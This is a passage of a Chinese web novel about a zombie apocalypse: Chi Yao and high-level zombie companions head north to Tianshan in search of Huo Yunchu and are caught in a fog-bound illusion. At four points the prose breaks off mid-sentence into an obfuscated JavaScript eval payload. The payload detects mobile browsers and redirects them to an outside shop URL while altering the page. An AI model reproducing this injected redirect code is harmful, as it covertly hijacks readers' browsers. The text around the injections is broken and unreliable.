卢淼叹了口气,神色中有几分忧虑。 “不只是他们两个,我和陈霄在对付他们的时候,也觉得有些失控,我的藤蔓有好几次差点失去控制,身体也有点不受控制,只是程度比他们轻微很多。” “太奇怪了,之前从来没发生过这样的事,我第一时间联系你和韩厢月了,韩厢月还在过来的路上,但同为高等丧尸,他的身体似乎没什么异常。” 陈霄在一旁补充。 池遥从未听说过这种情况。 如果霍云初还在就好了,霍云初一定能够解决这个问题,可是他现在...... 思绪突然僵住了。 包括韩厢月在内,眼前这些高等丧尸,全部用霍云初的血液转化的,那么,如果霍云初出事了,会影响他们吗? “变成高等丧尸后,你们能感应到霍云初吗?”想到这里,她问卢淼。 “我们感应不到他,但他能感应到我们的存在,如果他真的向我们发布命令,意图像操控普通丧尸一样操控我们,我们应该是很难违抗的。”卢淼立刻明白了池遥话中的深意,“你的意思是,霍云初出事了?” “霍哥?”沈观宴没听懂她们的话,“这和霍哥有关系?” “他们都是霍云初用他自己的血转化而成的高等丧尸。”时间紧急,池遥无法为他详细解释。 “什么?” 沈观宴的脸骤然失去血色, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16794841|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久久无法开口。他从未想过,霍云初竟然也是高等丧尸。 在发现池遥的伙伴都是高等丧尸时,他就应该有这样的觉悟,可池遥和心悦都是人类,他以为霍云初与池遥一样,也是与高等丧尸一路的能力者。 只是,如今,听到池遥的话,他再不可置信,也只能接受事实。 “池遥!” 远处传来了韩厢月的声音,他一接到陈霄的消息就动身出发,比池遥迟了几分钟到达。 “你还好吧?”池遥立刻过去接应他,目光从上到下将韩厢月打量了一遍,确定韩厢月是真的没有任何异常,才松了一口气。 “我没事,陈霄说他们身体都出现了异常,具体是什么情况?” 韩厢月冰冷的手轻轻握住了池遥的手,指尖安抚般轻轻蹭了一下她的虎口处。 他周身温度太低,池遥被他的手冰了一下,反而找回一些理智,将自己的推测告诉韩厢月。 “大家的身体都有些失控,钱朗和岳明比较严重,开始攻击同伴,卢淼和陈霄情况好一点,只是偶尔控制不住自己的能力。我怀疑是霍云初那边出了什么问题,牵连了你们,你真的没问题吗?” 听了池遥的话,韩厢月沉默了一会儿,还是摇摇头。 “我没觉得有什么不对劲,毕竟我们得到了霍云初的血,一定程度上也受霍云初的操控,但是转化时间越长,受到霍云初的影响越小,也许是因为我被他转化的时间比较长,才没出现问题。” 的确,韩厢月是第一个被霍云初转化成高等丧尸的人。 沉默许久,池遥忽然轻声开口。 “霍云初到底遇到什么事了?” 这个问题,恐怕无人能够作答。 “我们得去找他。”一旁的卢淼冷着脸开口。 “不知道他出了什么事,我们这种状态还会维持多久,会不会变得更严重,而且我们现在住在饶城基地,这一次还好,如果下次伤到普通人恐怕就来不及了。” 池遥点点头,她也有这个打算。 “霍云初说是去北方,盲眼婆婆预言说丧尸潮是在北方的山顶上,那是什么方向?” “北方大多是平原地区,只有北方的国境线附近有一座高山,叫做天山,如果要去山上的话,霍云初大概率会去那里。” 韩厢月开口道。 “从这里开车过去大概需要多久?”池遥问。 “怎么也要五天左右。”韩厢月深深叹了口气,“末日前自驾过去大概要五天,现在恐怕需要更长时间。” 池遥看向被藤蔓紧紧缚住的钱朗和岳明,岳明看起来意识清醒一点,但钱朗却不停挣扎,虹膜前蒙上一层灰白色的阴翳,皮肤下隐隐透出血线,仿佛变成了真正的丧尸。 “他们要维持这个状态五天吗?” “情况可能会更糟,距离霍云初越近,我们受他的影响越大,到时候可能连我也会不受控制。”韩厢月随着她的目光看去,深深叹了口气。 “那就带上我。” 一旁传来沈观宴的声音,池遥扭过头,才发现沈观宴一直在一旁蹙眉听着二人的对话。 “你的能力无法攻击,如果身边的高等丧尸全部失控,恐怕没法控制局面,我和你们一起去找霍哥,如果真的出事,我还能帮上忙。” 107. 饶城基地5 夏季快到了,天气转暖,黄昏来得愈发迟了。 池遥坐在村口第一间自建房的院子里看着漫天晚霞,耳边隐隐传来沈观宴的声音,沈观宴正在和基地的几名骨干开会。 “真的那么着急吗?明天就要走?而且那些高等丧尸全部都要去吗?你真的不多带几个人?我们实在不放心你一个人和一群高等丧尸组队。” 房间内,围坐在桌边的几人发出一连串疑问。 对池遥等人的帮助出自私心,沈观宴实在很想知道霍云初身上到底发生了什么事,但这些事显然不该告诉基地的其他人,因此,沈观宴迟疑了一会儿,想到一个理由。 “咱们之前不是开会讨论过丧尸潮发生的可能性吗,这一次外出,主要就是为了北上观察一下丧尸的行动轨迹,如果去的人类太多,反而会造成不必要的伤亡。” “这一次外出的人类只有我和池遥两个人,就是为了避免这件事。池遥队伍里有个叫心悦的普通人,这次留在基地里,他们的住处就剩下她一个人了,我们外出这段时间,可以先把心悦安排到居住区吗?” “这件事你放心,那个孩子我们都认识的。”几人纷纷点头。 这一个月以来,心悦时常在池遥的医疗处帮忙,基地里大部分幸存者都认识她。 “那就好。”沈观宴点点头,又交代了一些基地的事务,就解散会议。 黄昏绚烂又短暂,直到夜幕降临,池遥才看到沈观宴从房子里走出来的身影。 “你们准备得怎么样了?”沈观宴问。 “有这个在,随时可以出发,没什么可准备的。”池遥晃晃脖颈间的吊坠,同样的吊坠沈观宴也有一个,她自然也不在沈观宴面前遮遮掩掩。 其他人陆续离开,沈观宴从房间里拉出一把椅子,坐到了池遥身旁,小院里只剩下了他们两个人。 “你是怎么和霍哥认识的?”他问池遥。 池遥于是将自己来到隐山基地,被研究员当做实验品,又被霍云初救出的一系列经过讲给沈观宴听。 从隐山离开后,为了销毁资料来到海城研究院,后来驻扎在白眉镇,再后来,霍云初主动辞别,白眉湖庄园被毁,她独闯黑市将伙伴带回来,又来到饶城基地。 这段经历回忆起来很短,但真正组织语言讲出来却十分漫长,池遥讲完最后一句话,天上已经依稀可见星星点点。 “所以,你们并没有去云城?”沈观宴问道。 “对。”事到如今,也没有隐瞒的必要,池遥老实交代,“霍云初是高等丧尸,他应该是不想和你们有交集,故意说了错误的目的地。” 得知霍云初的真实身份后,沈观宴也理解了他的行为,听到池遥的解释后点点头,没有刨根问底。 只是,从池遥的讲述中,他始终有种怪异的感觉,池遥的语气和视角经常给沈观宴一种第三视角的感觉,仿佛一切都是她的观察所得,而非真实经历。 池遥似乎对这个世界发生的很多事情都抱有一种若即若离的距离感,不主动接近,也不感到好奇,似乎事不关己一般。 而且,她对末日的了解也十分偏颇。 “池遥,来到隐山之前,你在什么地方?” 他忍不住开口问道。 “我吗?”池遥迟疑了几秒,还是没有隐瞒,“我在另一个小世界。我其实不属于这个世界,是来自另一个世界的旅人。你既然持有道具,应该也对旅人和景点有了解吧?” “只是有了解,没有真的接触过。”沈观宴点点头,北方基地也曾经有外来的旅人进驻,但这群人给沈观宴的印象并不好,大多是一些蔑视规则的疯子,而池遥给沈观宴的感觉要更平凡,更无害一些,这并非贬义,池遥与他身边的朋友,幸存者区别不大,很难想到她是来自世界之外的旅人。 “我没想到你会是旅人。”他抬眼,仿佛第一次见面那样,上上下下打量池遥,过了好半天才反应过来,“既然如此,那你要找的朋友?” “也是一位旅人,是我在末日前最好的朋友。”池遥叹了口气,又深深地注视沈观宴,“我的故乡同样遭受了丧尸,但我家乡的丧尸要比这里弱一些,这个世界的问题似乎更严重。” “而且,我家乡的时代,环境,文化,观念制度,语言文字,各方面都与这个世界十分相似,我来到这个世界之后,也很快就适应了这里。” 尽管也有微妙的不同,例如池遥生活的国度几乎是没有“财阀”这个身份概念的,但邻国有,池遥对此就不算特别陌生。到现在为止,她认识的沈家兄弟,霍云初尽管出身不凡,但都在她面前展现出了普通人和同龄人该有的样子,并没有让池遥感到局促。 想到这里,池遥在空间吊坠中翻找了一会儿,找出一本彩图插画版《山海经》,送给了沈观宴。 “这是我故乡的一本古代神话集。”她打开书,在书内附送的明信片上签下了自己的名字,夹在书页里,“你的世界一定也有相似的文化,但是,我还是很想把这本书送给你,就当做来自另一个世界的礼物吧。” 沈观宴翻开书页,来不及看文字,只看了几张插图,看出插图是各种具有神话色彩的古代异兽,忍不住笑了。 “是的,我的世界也有相似的书籍。叫做洪荒集。” 二人相视一笑。 次日,一行人再度上车,韩厢月和沈观宴交替开车,朝着天山进发。 “你有驾照的吧?”出发前,池遥还是忍不住问了一句. “我只有外国驾照,没有本国的。”沈观宴道。 “......倒也可以。”沉默了一会儿,韩厢月点点头。 不过,整车人,除了未成年的陈霄和卢淼,一群人里只剩下韩厢月和沈观宴可以开车,岳明倒是有驾照,只是他尚且不能控制自己的身体,怕出意外,也没法开车。 车子驶离饶城基地,刻意绕开了北方基地的方向,一路上,池遥趴在窗边,观察着饶城郊区的景致。 饶城基地在山地上,为了绕路,车子短暂地开进了山区,行驶过程中,能看到不少变异兽的影子,时不时还能看到合伙猎杀变异兽的幸存者,但却很少看到丧尸的影子。 “这些大部分是居住在黑市区域的普通人,他们捕猎变异兽来换取晶核。”沈观宴解释了一句,“黑市的主人也属于北方基地的一个大家族,因此饶城境内只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799741|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑市留了下来,其他基地全部被北方基地取缔了。” “原来如此。”池遥想起在黑市遇到的卖变异兽肉串的幸存者,变异兽生意的确已经成为黑市的一小部分了。 等车子彻底开出饶城市区,就到了池遥完全陌生的区域,接下来路过的县镇无一不是沦落成一片废墟,荒无人烟。 可即使如此,也不见荒废的区域里有丧尸活动的影子。 出发后的第一天,他们只觉得路上的丧尸数量不多,到了第二天,路上的丧尸影子已经需要他们仔细寻找才能找到几只。 到了第三天,荒无人烟的路上已经找不到丧尸的影子了。 “你们说,霍云初北上是为了阻止丧尸潮。”沈观宴这几天的脸色肉眼可见地越来越差,“可是北方三省境内已经彻底看不到丧尸了,如果把北方三省的丧尸聚集起来发动丧尸潮......” 他根本无法想象。 “而且不止北方三省,就连饶城附近的丧尸也减少了,受影响的至少还有四五个省,规模恐怕比我们预想的还要庞大。”坐在驾驶位上的韩厢月叹了口气。 说到这个话题,池遥就接不上话了,她完全辨别不出这个世界的城市分布,只能一头雾水地听他们交流。 车子继续向前行驶,今天的天气十分阴沉,天光昏暗,池遥坐在副驾驶位上,听着众人的说话声,不自觉地闭上眼,陷入了短暂而浅显的睡眠。 意识昏沉,有某一瞬间,池遥隐约感觉到一部分的自己顺着掌心溜出身体,她的意识不受控制地飞跃出车内,快速朝着前方逸散,直直地朝着北方而去。 睡梦中的她无力阻止,甚至无法干预自己的行为,只能放任这一缕意识时而如同游鱼,时而如同飞鸟,离身体越来越远,与自己的链接越来越松散。 越过连绵的雪山,穿过层叠的山岩,最后一缕细丝般的意识穿透了一个隐在雪山之中的巨大山洞。 这是一个属于丧尸的巢穴。 山洞之内,是黑压压的丧尸,数量太多,层层叠叠挤在一起,却寂静无声。只有最前面的丧尸们站得稍微松散了一些,越往前,丧尸之间的距离越大,但身形也肉眼可见地强健。这些丧尸似乎全部都是高等丧尸,他们膝盖触地,整个身子匍匐在地面之上,极尽恭敬谄媚之意。 而在众多丧尸匍匐的中心,是一个建立在数阶台阶之上,精心雕琢,冰冷宽敞的宝座。 斜倚在整个巢穴之上的巨大王座内的丧尸王,拥有一双毫无人性的血红色瞳孔,只要看到那双眼睛,就能知道,眼前的丧尸根本不具有任何人类该有的情感,已经完全退化成了一只丧尸,一个只会杀戮的怪物。 很奇特,明明丧尸王浑身上下满是血迹,举手投足间的姿态却十分优雅矜贵,他脚下的丧尸群一片死寂,只要丧尸王稍微一动,就会引发下面丧尸一阵瑟缩。 游走在山洞内的一小段意识脆弱又缥缈,不受控地在半空中摇曳,陡然间,却感受到一股冰冷的杀气。 这杀气纯粹得惊人,很快,视野被一只血红色的眼瞳占满。 丧尸王优雅地抬起手指,如同碾死一只小蚂蚁般,轻易捏碎了这一缕意识。 108. 饶城基地6 “你还好吗?” 池遥是被韩厢月叫醒的。 青年停驻在她身上的目光十分关切,迎着他的目光,池遥扶住昏昏沉沉的脑袋,闭了闭眼,强制自己清醒过来,才观察周围的情况。 不知何时,车子已经停了下来,正前方的马路上,横倒着一颗小树,沈观宴正在车外想办法,他的能力可以将挡路的树炸毁,只不过要废些时间。 了解了此时的情况,池遥又回想起自己做的那个光怪陆离的梦,可醒来还不到一分钟,梦中的场景如同退潮般,迅速从脑海中溜走,她什么也没抓住,只有心有余悸的感觉还残留在心间。 “没什么,应该是做了个噩梦吧。”她深深叹了口气。 好不容易有一次稍微沉一点的睡眠,结果竟然做了一个噩梦。 “噩梦?”韩厢月不知为何,突然拉近了与池遥之间的距离,池遥有点局促地向后仰了仰身体,不理解韩厢月为何突然做出这种举止,却忽然想到一个可能性。 “你的读心能力可以读到梦境吗?” “不行的,这个能力只有在对方清醒的时候起效。”韩厢月凑近了一点,一双带着柔和的水色的眼眸探究地盯着她。 “只不过,你睡着的时候,有一段时间一直在念叨一个名字。” “什么名字?”池遥以为自己梦到了一直在找的朋友,“曲卓?” “霍云初。” 这之后没多久,挡路的树被沈观宴解决掉,车子再度启动,韩厢月仍旧坐在驾驶位开车,池遥偶尔转头望向韩厢月时,会将这个人的影子与记忆里的另一个人重合。 她究竟梦到了什么? 为什么会念叨霍云初的名字呢? 越靠近天山的方向,车内的高等丧尸状态越差,到了第四天,连陈霄和卢淼都无法控制自己,池遥和沈观宴只能用麻绳将他们捆起来,防止被误伤。 所幸,韩厢月仍旧没有任何异常。 渐渐的,车内还有清醒意识的只剩下了池遥,沈观宴,韩厢月三人。 面对这种情况,池遥也有些不知所措,即便已经接受了同伴们的高等丧尸身份,但此时看到他们真的展露出丧尸的一面,心里酸涩极了。 他们究竟只是一时的改变,还是未来都会变成现在这个样子,她心里没有答案。 一切的一切,都只能等见到霍云初后才能知晓。 但是,这样的变化也昭示着,他们距离霍云初越来越近了。 天山位于国界线上,严格来说是十几座山峰组成的山岭,统称为天山。池遥以为这会是一座山峰,但真正来到此处后,却发现这里的面积远比想象中大,天山并非一座山峰的名字,而是整个山岭连同山下城市共有的名字。 作为末日前的景区,有专门通向天山景区的盘山公路,还没上盘山公路,池遥和沈观宴二人就蹙起了眉。 作为五感被强化过的能力者,池遥和沈观宴的视力远超普通人。 此时,远远看去,山上有一大片黑压压的,攒动着的影子。 车子开近了一些,韩厢月也蹙起眉,突然一个急刹车,上半身伏在方向盘上,无法控制地发起抖来。 “你怎么了?”池遥第一次看到他露出异状,立刻握住他的手。 坐在后排的沈观宴也第一时间检查其他高等丧尸的情况,不止韩厢月,后座被五花大绑的高等丧尸们全部躁动起来,挣扎的动作从未如此激烈。 “没事......” 韩厢月缓了很久,才发出虚弱的气声,紧绷的身体慢慢松散下来。 “我能感觉到,距离霍云初很近了。” 青年抬起头,目光落在远处的山脉之上,又仿佛在透过眼前的景物看向更远的方向。 “真没事吧?”池遥回头看了一眼后座的高等丧尸们,连陈霄和卢淼都失去了自我意识,只剩下韩厢月还勉强保留着意识。 “还算可以自控。”韩厢月低下头,目光落在池遥一直不敢放开的手上,稍微用了一点力气,回握住她的手,“放心,我大概......不会失去意识的。” 他的语气也十分勉强,池遥忍不住抬头看了他一眼,目光带着质疑,犹豫半天,很想找点什么东西把眼前这人也绑起来,对上韩厢月柔和的目光,又默默打消了这个念头。 “接下来还要开车前进吗?” 韩厢月迟迟没有发动车子,池遥等了一会儿,忍不住开口问道。 “不行,山上的丧尸太多了,开车过去动静太大了,会被注意到。”韩厢月咬紧了嘴唇,思考了一会儿,发动车子转弯,拐到山脚背侧,在一片泥泞的山路边停车,率先走下车。 “我们换一条道路走上去吧。” 这一片的丧尸数量似乎不多,池遥和沈观宴相继下车,透过车窗瞄见车内四只被五花大绑的高等丧尸。 如果可以的话,还是应该有一个人留下来看守这些丧尸,否则把这四个神志不清的人留在车里也是一个隐患。 可是,他们只有三个人,本来人数就不多,不宜再分散。 眼下,即便有隐患,也只能把他们留在车里了。 韩厢月锁好车子,带着两人走上了未经开发的山路。 没有人工铺设的路面,脚下的山路十分陡峭,似乎是不久前下过雨,空气有些湿润,脚下的泥土十分泥泞,路途十分不便,没走几步就脚下打滑。 池遥跟在韩厢月和沈观宴身后,走得十分小心,担心自己站不稳,每路过什么东西,她都要扶一把稳住自己,幸好山路上有不少歪歪斜斜的小树,她一路扶着树干,走得踉踉跄跄。 然而,这一次,当她本能地扶住手边的树干时,却听到手边传来极轻的窸窣声。 “嘶——” 一条盘在树干上的蛇正用冰冷的竖瞳紧盯着她。 棱形的蛇头向后缩了缩,池遥本能地松开手后退一大步,却看到这条蛇猛地朝她扑了过来! 千钧一发之际,她伸出手,挡在身前,就在蛇头碰到手掌的瞬间,池遥猛地发动能力,瞬间,地上多了一具蛇尸。 “吓死我了。”池遥长出一口气,后退几步,避开地上的蛇尸,却突然撞上了什么东西。 似乎是,一个人? 可是这座山上怎么会有人? 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804234|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立刻转身,同时抽出吊坠里的刀,然而,出现在她面前的却是完全意想不到的人。 卢淼安静地站在她背后,眼睛里毫无神采,仿佛一具被操纵的提线木偶。 “卢淼?” 对面的人对她的声音毫无反应,池遥连着叫了几声,卢淼都没反应,只垂着头笔直站着。 然而,就在池遥稍微放下戒心,想要上前查看情况时,卢淼却猛地朝她扑来! “池遥呢?” 韩厢月的声音少有的带了几分慌乱。 “刚才还跟在后面呢,现在怎么不见了?是没跟上吗?” 闻言,沈观宴朝身后探头望去,却没见到池遥的身影。 不知为何,山里的空气似乎有几分潮湿,能见度也不高,二人置身于这样的环境里,久而久之就习惯了。 “韩厢月。”沈观宴环顾四周,突然间叫了韩厢月的名字。 “山里......什么时候起雾了?” 在二人不知不觉间,已经置身于浓重的雾气之中。 而这一切,他们无知无觉,似乎从走进山中的那一刻起,就丧失了感官能力。 雾气越来越浓,沈观宴甚至看不清韩厢月的身形,二人立刻朝着对方的方向靠近,背靠着背,蹙眉观察着周围的环境。 “什么情况?” 然而,眼前的情况却让二人毫无头绪。 不仅如此,升腾在周围的雾气并不陌生,他们同时想到了一个人。 岳明。 可是,岳明不是已经被他们五花大绑,关在车里了吗? 紧接着,沈观宴闻到了轻微的焦糊味。 他立刻低下头,看向脚边。 不知何时,他们脚下的杂草被众多火星点燃,火势不大,但却将他们团团包围,形成一个包围圈。 池遥咬紧牙关,砍断缠在身上的藤蔓,将刚刚吸收的生命力全部转为治愈能力,治好了身上的伤口。 不知何时,身边的雾气越来越浓,起初,她还能招架得住卢淼的攻击。 然而,起雾后,卢淼的身形逐渐隐没在雾气中消失不见,时不时陡然闪现到池遥面前,池遥根本招架不住。 为什么卢淼和岳明会从车里来到这里? 沈观宴和韩厢月去哪儿了? 她心中着急,又隐隐觉得不对劲,但卢淼猛烈的攻击屡屡打破她的思绪,池遥不清楚卢淼此时的状态,不敢贸然反击,只能一昧防守。 浓重的雾气让她彻底失去了方向感,一时间站在原地不敢贸然行动。 在发现蛇之前,她和韩厢月沈观宴二人之间一直保持着能够照应彼此的距离,此时虽然她落后了几步,但沈观宴和韩厢月不可能没发现她没跟上来,如果没有雾气在,他们之间的距离应该相隔不远。 这么想着,池遥再度挡住卢淼的攻击,习惯性抬手触碰卢淼的皮肤,动作极快地僵了一下。 不对。 即便此时卢淼失去了神志,但仍旧是她重要的同伴。 她真的能抽空同伴的生命力吗? 可是,如果不伤及卢淼,她该用什么办法破局呢? 109. 饶城基地7 “嘭!” 浓雾之中,陡然伸出一根藤蔓,卷住池遥的脚踝,朝着下方狠命拽动。池遥猝不及防,结结实实摔了一个跟头,身体彻底失去平衡,被藤蔓拉扯,沿着倾斜陡峭的山路急速滚落! 她拼命折起身子,把脚踝上的藤蔓砍断,才终于夺回了身体控制权,翻身站起来。 按照之前的判断,韩厢月和沈观宴二人应该在比她更高的山路上,眼下她几乎滚落到了山脚,离那两人更遥远了。 然而,即便离刚刚所在的地点已经有一段距离,身边的雾气还是十分浓重,完全没有任何消散的迹象。 池遥深深叹了口气,心中仍有顾虑,但对韩厢月和沈观宴二人的担心胜过一切,下一秒,她眼疾手快,劈开从浓雾中现出踪迹的藤蔓,朝着藤蔓的方向主动出手,再次斩断了一条藤蔓! 这一次,池遥终于看到了暗中操纵藤蔓的卢淼的影子,一看到她的身影,卢淼立刻朝她冲了过来。 二人再度缠斗起来! 这一次,池遥没有让步,她抓准时机,一把握住卢淼的手,试图抽取生命力。 自从抽取生机的能力觉醒以来,她已经无数次使用这种能力夺取别人的生命,也逐渐在直接夺取生命和单纯吸取生命力之间找到了平衡。 如果只吸取一部分生命力,应该不会危及卢淼的生命。 然而,当她真正握住卢淼的手,发动能力之时,却没有吸取到任何生命力。 眼前的卢淼,仿佛不再是她熟悉的朋友,也不再是被转化后的高等丧尸。 她似乎变成了和眼前的树木,藤蔓一样,无法再被池遥吸收生命力的存在。 池遥错愕地收回手,抬起头望向卢淼近在咫尺的面容。 “你......” 她极快地收回脱口而出的疑问,咬牙挡住藤蔓的攻击,心中的疑虑却越来越深。 缠斗许久,她刚刚一直都在疑惑。 卢淼到底是怎么出现在这里的? 还有弥漫在身边的浓雾,明显是岳明的能力。 下车前,为了防止车上的高等丧尸下车,他们特意将四人五花大绑起来,韩厢月出发前甚至锁上了车门。按理来说,没有任何外力影响的情况下,他们是无法离开车里的。 那么,眼前神志全失,不受控制主动攻击她的卢淼和岳明究竟是怎么回事? 卢淼甚至无法被她抽取生命力,即便是丧失神志的普通丧尸,都可以被池遥抽取生命力,为什么只有卢淼不行? 只要置身于浓雾中,就会逐渐失去方向感,连时间的流逝都变得混乱。 她已经和卢淼缠斗多久了? 卢淼的身形再次隐没在浓雾中,池遥暗暗喘了口气,平复呼吸。 卢淼消失后,身边的浓雾遮掩了所有的景物,一瞬间,此处仿佛只剩下她一个人。 池遥脑海中突然产生一个不合时宜的想法。 卢淼,真的存在吗? 沈观宴与韩厢月此时面临的情况并不乐观。 不知为何,明明钱朗的能力只能制造火星和小火苗,可脚边燃烧的火焰却窜起近两米高,将他们围在火圈中心。 韩厢月是不需要呼吸的高等丧尸,被火焰包围后只能感受到炽烈的高温,仿佛变成了火炉中的食材,而沈观宴的情况不容乐观,比起近乎要将他灼伤的高温,更令他痛苦的是呛人的浓烟。 只是,痛苦之余,沈观宴心里也隐约觉得不对劲。 起雾后,山上的空气变得格外潮湿,在这种环境下,正常的火焰不会在不到一分钟内就燃烧得如此旺盛。 “有办法破开吗?”韩厢月瞥一眼用外套捂着口鼻,神色痛苦的沈观宴,没等他开口回答,就继续开口。 “我带你强行突破出去,可能会有点疼。” 没等沈观宴做好心理准备,韩厢月一把架起他的手臂,拉着他大跨步穿过正前方的火幕,用高等丧尸强健的□□开辟出一条路径。 在沈观宴惊愕的目光中,青年从容地整理了烧焦的头发和外套,露在最外层的皮肤和脸颊在穿过火焰后烧得通红,但他对痛觉的感知很迟钝,这对他而言并非多么严重的伤口。 韩厢月的能力无法战斗,一从火焰中脱身,沈观宴立刻发动能力,周围的雾气中响起了接二连三的爆炸声。 既然视觉受阻,沈观宴就用爆炸生生探出一条路来。 很快,当再一声爆炸响起时,二人同时捕捉到爆炸声之外的一点杂音,朝着声响处追去。 果然,逐渐接近后,二人才发现,在浓雾中逃窜的人,正是钱朗。 可以操纵火星和小火苗的钱朗。 “钱朗,你怎么了?为什么向我们出手?”韩厢月没有第一时间出手,沈观宴则是在钱朗背后再次引发爆炸,堵死了他后退的路。 然而,被他们拦截的人却毫无反应,面无表情,低垂着脑袋站在原地,仿佛一具任人摆布的人偶。 “奇怪。”韩厢月忽然轻声嘀咕一句。 “怎么了?” “太奇怪了。我想到他大概不会回我的问题,但只要听到我的问题,多少会产生心理活动,我就可以借此探听到他的情况。”韩厢月向沈观宴讲解自己的能力。 “但是,眼前这个钱朗,我听不见他的任何心声。” 就像一具死尸。 最后一句话,韩厢月没有说给韩厢月听。 “钱朗这个人很活跃,只要和他待在一起,几乎无时无刻都能听到他的想法,但是,现在,他毫无情绪,没有任何心理波动。” 担心沈观宴不理解,韩厢月又多说一句,蹙起了眉头。 “眼前这个钱朗,真的是存在的吗?” 这句话脱口而出的同时,与沈观宴陡然响起的叫声重合。 “快躲开!” 熊熊火焰从他们身后升腾而起,沈观宴第一时间拉着发呆的韩厢月向前扑倒,然而,火势蔓延的速度实在太快,来不及起身,二人被迫向着山脚的方向翻滚而下,好半天,终于摆脱了身后的火焰。 “太凶险了。”沈观宴扶着一路上被撞得满是淤青的腿慢慢站起身,他原本穿着整洁利落的防风外套,一路翻滚下来,浑身上下都是泥土和落叶,他抖了抖外衣上的泥土,忍不住感慨一句。 在他身后的韩厢月看上去比他还要凄惨,他不仅身上沾满了泥,周身全是烧伤的痕迹,外衣也被燎得发灰,幸好他是高等丧尸,这些伤势对于他而言十分轻微。 “池遥应该在山脚下。”韩厢月环顾四周,即便滚落到此处,雾气仍旧没有一点散去的痕迹。 “上山的时候,池遥一直跟在我们后面,咱们分开的时候,池遥应该也在我们后面。” 他说着说着,突然听到一个熟悉的喊声。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16810256|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 正是池遥的声音。 池遥与卢淼已经再次缠斗过几轮,每一次她稍微占据上风的时候,卢淼都会立刻隐没在浓雾里,再次消失踪迹。 然而,打斗过程中,池遥却听到了远处传来巨大的响声。 紧接着,她隐约听到了熟悉的说话声。 卢淼和其他的高等丧尸已经失去了神志,恐怕也失去了语言能力,如果有人交流的话,一定是她的两个同伴! “韩厢月!沈观宴!是你们吗?” 她忍不住喊道。 很快,她就听到了熟悉的声音。 “池遥!你在哪儿?” 终于,分开后的三人终于重聚了。 沈观宴的声音一响起,池遥立刻循声把头扭向沈观宴的方向,可惜由于被雾气遮挡,什么也看不到。 然而,她的注意力刚从失踪的卢淼身上移开,身后就闪过一丝风声,她察觉到不对,陡然回头,挥起手中的刀抵挡,还是晚了一步,卢淼的藤蔓再次紧紧缠缚住了她。 池遥一时间再次受制于藤蔓,还没做出招架的动作,卢淼所在的地点就发生了猛烈的爆炸。 趁着卢淼躲闪的时机,池遥立刻挥刀砍断身上的藤蔓,回头看去。 果然,听到池遥的声音后,沈观宴和韩厢月循着她的声音找来了,刚刚的爆炸正是沈观宴出手杰作。 “池遥,我们刚才遇到钱朗了,我读不到他的心理活动。”韩厢月跟在身后,第一时间把自己的消息分享给池遥。 “我也是,我没办法抽取卢淼的生命力。” 池遥点点头,将自己的怀疑说给他们听,无意中回头看了二人一眼,被两人狼狈凄惨的模样吓了一跳。 “你们这是?” 她立刻走上前,握住韩厢月的手,治愈了他身上脸上的烧伤。 奇怪,同样是高等丧尸,为什么韩厢月可以被她的能力影响? 脑海中有什么想法快速闪过,不知为何,脑中突然浮现出殷蘅的身影。 “等等,”她浑身一顿。 “我们眼前的这些高等丧尸,是真实存在的吗?” 如果是真实存在的话,为什么连生命力都无法抽取到? “有没有可能,我们现在经历的,是一个幻境......或者类似于幻境的东西?” 与此同时,卢淼的身影再度闪现,沈观宴毫不犹豫,再度出手,瞬间,卢淼浑身被爆炸撕裂,沈观宴发动爆炸的时机十分刁钻,卢淼碰巧位于爆炸中心,高等丧尸的身体素质极强,即便是如此近距离的爆炸,也不会让卢淼丧命。 然而,就在三人注视之下,倒在地上的卢淼凝实的身形却突然像一个肥皂泡一般,破裂成一团虚影,消失了。 什么情况? 池遥紧紧盯着卢淼原本的位置,此时这里已然空空如也,她却仍旧不可置信地盯着此处,视野中的山路,树木,落叶,浓雾,周围的一切仿佛都成了背景板,唯有视线中新出现的人影越来越清晰。 山洞内,王座上。 松散坐卧着的丧尸王略微直起腰,朝着某个方向轻瞥一眼。 